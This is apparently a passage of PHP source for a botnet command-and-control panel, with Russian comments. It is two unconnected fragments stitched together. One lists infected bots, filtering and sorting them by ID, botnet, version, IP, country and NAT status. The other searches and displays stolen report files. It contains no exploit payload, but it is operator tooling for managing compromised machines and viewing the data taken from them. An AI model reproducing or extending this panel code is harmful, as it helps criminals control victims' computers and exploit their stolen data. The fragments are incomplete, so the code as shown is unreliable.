$filter['new'] = isset($_GET['new']) ? intval($_GET['new']) : 0; $filter['used'] = isset($_GET['used']) ? intval($_GET['used']) : 0; $filter['comment'] = isset($_GET['comment']) ? intval($_GET['comment']) : 0; foreach ($filter as $k => $i) { $fullQuery .= '&' . $k . '=' . urlencode($i); } /////////////////////////////////////////////////////////////////////////////////////////////////// // Определяем данные текущей сортировки. /////////////////////////////////////////////////////////////////////////////////////////////////// $fullQuery .= assocateSortMode(array('bot_id', 'botnet', 'bot_version', 'ipv4', 'country', 'rtime_online', 'net_latency', 'comment')); $jsSort = addJsSlashes($fullQuery); $jsPage = addJsSlashes($fullQuery); /////////////////////////////////////////////////////////////////////////////////////////////////// // JavaScript скрипты. /////////////////////////////////////////////////////////////////////////////////////////////////// $jsScript = jsCheckAll('botslist', 'checkall', 'bots[]') . jsSetSortMode($jsSort) . "function changePage(p){window.location='{$jsPage}&page=' + p; return false;}"; /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание запроса. /////////////////////////////////////////////////////////////////////////////////////////////////// /* Касательно LOCATE(`ipv4`, `ipv4_list`). Способ имеет достаточно заметный косяк, но задумываясь о хоть каком-то выиграше в скорости, не думаю что его стоит лечить... Я думаю вероятность встретить такого сурового совпадения в диком интернете очень низка. Еще можно попробывать делить по модулю на 4... Что приведет к противоположному косяку... */ $q = array(); if ($filter['nat'] > 0) { $q[] = "LOCATE(`ipv4`, `ipv4_list`)" . ($filter['nat'] == 1 ? '>' : '=') . "0"; } if ($filter['new'] > 0) { $q[] = "`flag_new`=" . ($filter['new'] == 1 ? 1 : 0);
SearchDF($config['reports_path'], '', $ci, $counter, $lastfolder); } } echo str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(COLUMNS_COUNT, sprintf(LNG_REPORTS_LIST_TOTAL, numberFormatAsInt($counter[1]), numberFormatAsInt($counter[2]), numberFormatAsInt($counter[0]))), THEME_LIST_TITLE) . THEME_LIST_END; } else { define('INPUT_WIDTH', '200px'); //Ширина input.text. define('INPUTQ_WIDTH', '500px'); //Ширина input.text. //Создаем JS-скрипт. $fl_onsubmit = ' onsubmit="return ExecuteAction()"'; $js_qa = addJsSlashes(LNG_REPORTS_FILESACTION_Q); $js_script = jsCheckAll('fileslist', 'checkall', 'files[]') . "function ExecuteAction(){return confirm('{$js_qa}');}"; if ($_is_browser) { $query = addJsSlashes(QUERY_STRING . '&path=' . urlencode($_FILTER['path'])); $js_script .= jsSetSortMode($query); } else { $q = addJsSlashes(QUERY_STRING); foreach ($_FILTER as $k => $v) { $q .= addJsSlashes('&' . urlencode($k) . '=' . urlencode($v)); } $ajax_init = jsXmlHttpRequest('srhhttp'); $ajax_err = addJsSlashes(str_replace('{TEXT}', LNG_REPORTS_RESULT_ERROR, THEME_STRING_ERROR)); $js_script .= <<<JS_SCRIPT var srhhttp = false; function stateChange(){if(srhhttp.readyState == 4) { var el = document.getElementById('result'); if(srhhttp.status == 200 && srhhttp.responseText.length > 1)el.innerHTML = srhhttp.responseText;